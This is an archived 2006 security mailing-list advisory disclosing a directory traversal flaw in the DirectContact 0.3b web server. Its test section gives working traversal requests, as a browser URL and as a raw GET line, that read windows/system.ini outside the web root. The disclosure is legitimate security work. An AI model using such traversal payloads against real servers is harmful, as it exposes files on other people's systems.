[prev in list] [next in list] [prev in thread] [next in thread] 

List:       full-disclosure
Subject:    [Full-disclosure] directory traversal in DirectContact 0.3b
From:       Donato Ferrante <fdonato () autistici ! org>
Date:       2006-02-27 19:28:22
Message-ID: 20060227202822.hmi3ocb9u5wcow8k () www3 ! autistici ! org
[Download RAW message or body]

                           Donato Ferrante


Application:  DirectContact
              http://reyero.info/dc/

Version:      0.3b

Bug:          directory traversal

Date:         27-Feb-2006

Author:       Donato Ferrante
              e-mail: fdonato@autistici.org
              web:    www.autistici.org/fdonato



xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

1. Description
2. The bug
3. The code
4. The fix



xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

----------------
1. Description:
----------------

Vendor's Description:

"DirectContact turns your computer in real "friendly" HTTP server."



xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

------------
2. The bug:
------------

The program is unable to manage malicious patterns like ..\ or ../.
So an attacker can go out the document root assigned to the webserver
and see/download all the files available on the remote system.



xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

-------------
3. The code:
-------------

To test the vulnerability:

via browser:
http://[host]:[port]/..\..\..\..\windows/system.ini

via raw request:
GET /../../../../../../windows/system.ini HTTP/1.1



xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

------------
4. The fix:
------------

Vendor has been contacted.
Bug will be fixed in the next release.



xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
[prev in list] [next in list] [prev in thread] [next in thread]